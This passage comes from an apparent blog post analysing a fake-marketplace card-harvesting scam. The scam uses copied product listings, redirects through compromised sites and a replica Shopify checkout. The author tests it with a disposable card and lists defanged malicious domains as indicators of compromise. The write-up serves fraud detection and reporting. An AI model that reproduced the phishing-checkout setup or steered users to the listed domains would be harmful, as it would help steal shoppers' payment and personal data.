and is now being used to drive traffic to this malicious marketplace: You can see the range of products that this site offers. They must have a good distribution network. While reverse-image searching for images of the calculator, I found another similar posting on a different fake marketplace. Same images, same description and title, same exact setup with a redirect… And another… with what looks like loads of other compromised sites being used. You can endlessly find these sites by searching any description of a product listed with quotes in Google to find the real item that is being sold and copied from, such as this blazer: If the price was higher than the actual listing, you might think the scheme is just scraping listings, posting them at a higher price, then purchasing the cheaper item and shipping it. However, I do not think that is the case. Let’s try to buy this Eddie Bauer blazer with a fake identity and a fake debit card from Privacy.com and see what happens. Right away, I can tell this checkout page is a replica of the Shopify checkout page and looks almost identical. Choosing Mastercard, we’ll check out and pay now. Let’s prepare my fake card. Creating a temporary debit card with a $5 spending limit is extremely easy with Privacy.com, and I have my Mastercard ready. First, I am instructed to enter my card here: Then I get redirected to this page and must enter my information again: After hitting pay now, a loading screen with a different URL is shown that reminds me of the PayPal loading screen: And then I am redirected to a thank-you page for my order, despite the card being declined, which they know because it shows failure_code=failed in the URL. Only one declined charge was seen on my card. However, in other testing instances, I have seen an additional charge at a different price than the “advertised product”. The above screenshot is from the order we just made, and this next screenshot is from a different test where two charges were attempted right away on order: It seems that shirleymcgrady is another similar site, but probably used as the main checkout for the other smaller sites. The loading page domain from the payment was also created recently, 1 month ago, with one detection on VirusTotal. Aftermath A few days after I tried to check out, multiple other charges were attempted on the card: The clear objective of the scam here is to have the victim make a payment for an item that will never be shipped, resulting in their personal and payment information being stolen. I can only imagine how many people were duped by these marketplaces, considering their popularity, and it must be paying off for the attackers. With the evolving expertise of AI tools and technology in general, attackers can create these campaigns in a matter of seconds. This takes advantage of the average person’s trust by having a high-ranking site in the search results, images that look real (because they are real, and stolen), and a site that seems trustworthy enough for someone to enter their card details. I would love to take this a step further and use a card with more funds to purchase a lower-cost item to see how different, if at all, the result would be. It is also fun to hunt down these different marketplaces and see how many you can find. Annoyingly, some of them use registrars that make it harder, not easier, to report abuse, but if anyone reading this would like to investigate this further, I would love to offer my help and see what we can do about it. Indicators of Compromise Marketplace Domains: sydney.nbcsi[.]com dryoff.onetoll[.]shop popeye.fivedemo[.]shop offup.japanhold[.]shop Redirector Domains: desidrivingschool[.]com curencares[.]in abralipedema.com[.]br Payment Page Domains: shirleymcgrady[.]com yzoqrbiuar[.]asia